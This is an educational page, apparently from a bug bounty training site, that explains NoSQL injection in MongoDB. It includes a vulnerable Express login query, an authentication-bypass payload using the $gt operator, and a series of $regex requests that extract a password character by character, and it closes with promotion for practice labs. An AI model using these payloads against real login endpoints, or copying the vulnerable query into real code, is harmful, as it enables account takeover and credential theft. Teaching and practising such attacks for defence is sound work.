NoSQL Injection

High

NoSQL Injection

Definition

NoSQL Injection is a vulnerability that lets an attacker interfere with the queries of NoSQL databases (such as MongoDB, CouchDB) by injecting malicious operators or expressions. Unlike SQL Injection, it abuses the structure of object/JSON-based queries and DBMS-specific operators.

Impact

Authentication bypass without credentialsExtracting database data character by characterModifying or deleting documentsDenial of service with expensive regular expressions (ReDoS)Access to unauthorized collections and data

Examples

NoSQL Injection authentication bypass in MongoDB

By sending a MongoDB operator ($gt, $ne, $regex) instead of a string, the password condition is always true. This lets you authenticate as any user without knowing their password.

// Vulnerable code (Express + MongoDB)
const user = await User.findOne({
  username: req.body.username,
  password: req.body.password
});

// Legitimate request
POST /api/login
{"username": "admin", "password": "secret123"}

// NoSQL injection payload
POST /api/login
{"username": "admin", "password": {"$gt": ""}}

// The resulting query:
// db.users.findOne({username: "admin", password: {$gt: ""}})
// $gt: "" is true for any string, full bypass

NoSQL Injection with $regex to extract data

Using the $regex operator, the attacker can check character by character whether the password starts with a given pattern, extracting the full password through a brute-force attack based on regular expressions.

// Password extraction character by character
POST /api/login
{"username": "admin", "password": {"$regex": "^a"}}  // fails
{"username": "admin", "password": {"$regex": "^s"}}  // success
{"username": "admin", "password": {"$regex": "^se"}} // success
{"username": "admin", "password": {"$regex": "^sec"}} // success
// ... until the full password is extracted

External references

Practice NoSQL Injection with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
hunters training
712

hunters training

labs from real reports
55

labs from real reports

completions
1,206

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime